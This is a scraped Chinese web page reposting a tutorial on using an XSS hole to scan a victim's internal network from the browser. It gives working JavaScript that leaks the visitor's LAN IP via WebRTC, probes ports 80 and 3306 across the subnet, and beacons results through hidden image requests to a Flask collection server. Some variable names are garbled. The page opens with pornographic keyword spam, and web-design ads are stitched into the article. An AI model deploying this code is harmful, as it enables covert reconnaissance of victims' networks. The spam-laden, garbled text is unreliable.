日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關咨詢
選擇下列產(chǎn)品馬上在線溝通
服務時間:8:30-17:00
你可能遇到了下面的問題
關閉右側工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
XSS的另一種利用思路

前言

十年的惠水網(wǎng)站建設經(jīng)驗,針對設計、前端、開發(fā)、售后、文案、推廣等六對一服務,響應快,48小時及時工作處理。營銷型網(wǎng)站建設的優(yōu)勢是能夠根據(jù)用戶設備顯示端的尺寸不同,自動調整惠水建站的顯示方式,使網(wǎng)站能夠適用不同顯示終端,在瀏覽器中調整網(wǎng)站的寬度,無論在任何一種瀏覽器上瀏覽網(wǎng)站,都能展現(xiàn)優(yōu)雅布局與設計,從而大程度地提升瀏覽體驗。創(chuàng)新互聯(lián)公司從事“惠水網(wǎng)站設計”,“惠水網(wǎng)站推廣”以來,每個客戶項目都認真落實執(zhí)行。

安全測試人員在測試XSS漏洞的時候,用得最多的方式是利用XSS釣魚攻擊、盜取會話憑證,挾持會話。當然還有很多其他利用方式,但是卻很少涉及內網(wǎng)滲透環(huán)節(jié)。換一種思路,XSS還可以做很多意想不到的事,本文通過實踐介紹利用js進行內網(wǎng)端口掃描的滲透思路。

獲取局域網(wǎng)IP

進行內網(wǎng)端口掃描首先第一點要獲取內網(wǎng)IP,這是最關鍵的一步,這里有一個前輩的Demo:

使用的WebRTC技術獲取當前訪問者的局域網(wǎng)IP,具體的js實現(xiàn)如下:

 
 
 
 
  1. function getlanip(callback){ 
  2.     var ip_dups = {}; 
  3.     var RTCPeerConnection = window.RTCPeerConnection 
  4.         || window.mozRTCPeerConnection 
  5.         || window.webkitRTCPeerConnection; 
  6.     if (!RTCPeerConnection) { 
  7.         var iframe = document.createElement('iframe'); 
  8.         iframe.sandbox = 'allow-same-origin'; 
  9.         iframe.style.display = 'none'; 
  10.         document.body.appendChild(iframe); 
  11.         var win = iframe.contentWindow; 
  12.         winwindow.RTCPeerConnection = win.RTCPeerConnection; 
  13.         winwindow.mozRTCPeerConnection = win.mozRTCPeerConnection; 
  14.         winwindow.webkitRTCPeerConnection = win.webkitRTCPeerConnection; 
  15.         RTCPeerConnection = window.RTCPeerConnection 
  16.             || window.mozRTCPeerConnection 
  17.             || window.webkitRTCPeerConnection; 
  18.     } 
  19.     var mediaConstraints = { 
  20.         optional: [{RtpDataChannels: true}] 
  21.     }; 
  22.     var servers = undefined; 
  23.     if(window.webkitRTCPeerConnection) 
  24.         servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]}; 
  25.     var pc = new RTCPeerConnection(servers, mediaConstraints); 
  26.     pc.onicecandidate = function(ice){ 
  27.         if(ice.candidate){ 
  28.             var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/ 
  29.             var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; 
  30.  
  31.             if(ip_dups[ip_addr] === undefined) 
  32.                 callback(ip_addr); 
  33.  
  34.             ip_dups[ip_addr] = true;} 
  35.         }; 
  36.     pc.createDataChannel(""); 
  37.     pc.createOffer(function(result){ 
  38.         pc.setLocalDescription(result, function(){}, function(){}); 
  39.         }, function(){}); 
  40.     } 

WebRTC

WebRTC,是網(wǎng)頁實時通信(Web Real-Time Communication)的縮寫,是一個支持網(wǎng)頁瀏覽器進行實時語音對話或視頻對話的技術。WebRTC 實現(xiàn)了基于網(wǎng)頁的視頻會議,標準是 WHATWG 協(xié)議,目的是通過瀏覽器提供簡單的 Javascript 就可以做到實時通訊。WebRTC 項目的最終目的主要是讓 Web 開發(fā)者能夠基于瀏覽器輕易快捷地開發(fā)出豐富的實時多媒體應用,而無需下載安裝任何插件,Web 開發(fā)者也無需關注多媒體的數(shù)字信號處理過程,只需編寫簡單的 Javascript 程序即可實現(xiàn),很多瀏覽器包括Firefox Chrome,360極速瀏覽器都已經(jīng)支持WebRTC, 但是Internet Explorer 和 Safari 尚未支持 WebRTC。

JS端口掃描

有了局域網(wǎng)IP,利用sciprt標簽加載js函數(shù)執(zhí)行,然后利用html onload事件結合img標簽當然可以這里可以使用其他的比如:iframe標簽等,把加載成功的IP,端口信息傳回我們的接收端,這里我用Flask簡單的寫了一個接收端。

 
 
 
 
  1. #!/usr/bin/env python3 
  2. #coding:utf-8 
  3.  
  4. from flask import Flask,request 
  5.  
  6. app = Flask(__name__) 
  7.  
  8. @app.route(rule='/') 
  9. def index(): 
  10.     args = request.args 
  11.     for k,v in args.items(): 
  12.         print(k,v) 
  13.     return str() 
  14.  
  15. if __name__ == '__main__': 
  16.     app.run(debug=True) 

下面是一個簡單的掃描函數(shù)和數(shù)據(jù)傳回函數(shù)。

 
 
 
 
  1. //數(shù)據(jù)傳回 
  2. var TagName = document.getElementsByTagName("body")[0]; 
  3. function post_data(ip,port){ 
  4.     var img = document.createElement("img"); 
  5.     img.setAttribute("src","http://127.0.0.1:5000/?ip=" + ip + "&openport=" + port); 
  6.     img.setAttribute("style","display:none") 
  7.     TagName.appendChild(img); 
  8.     } 
  9.  
  10. //簡單端口掃描 
  11. getlanip(function(ip){ 
  12. //判斷內網(wǎng)IP 
  13.     if (ip.match(/^(192.168.|169.254.|10.|172.(1[6-9]|2d|3[01]))/)){ 
  14.         ipip = ip.split("."); 
  15.         ip.pop(); 
  16.         ipip = ip.join("."); 
  17.         for(var i = 1;i<=255;i++){ 
  18.             var script = document.createElement("script"); 
  19.             var ipip_url = ip + "." + i + ":80";//3306 
  20.             script.setAttribute("src","http://" + ip_url); 
  21.             script.setAttribute("onload","post_data('" + ip + "." + i + "','80')");//3306 
  22.             TagName.appendChild(script); 
  23.         } 
  24.     } 
  25.     }); 

隨便一個html引入js文件,加載效果圖。

在服務端成功的接收到了開放80端口的ip。

當然其他端口也是可以的只要支持http協(xié)議訪問的比如3306。

探測到開放3306端口的主機,這樣實現(xiàn)了一個簡單的局域網(wǎng)ip端口的功能。

結語

當懷疑某處存在xss漏洞而我們又想知道內網(wǎng)具體的ip端口情況時,我們就可以利用這種方式實現(xiàn)局域網(wǎng)端口探測,有點類似于SSRF,但是通過XSS也同樣可以實現(xiàn)。


名稱欄目:XSS的另一種利用思路
網(wǎng)頁網(wǎng)址:http://www.5511xx.com/article/djpcjoh.html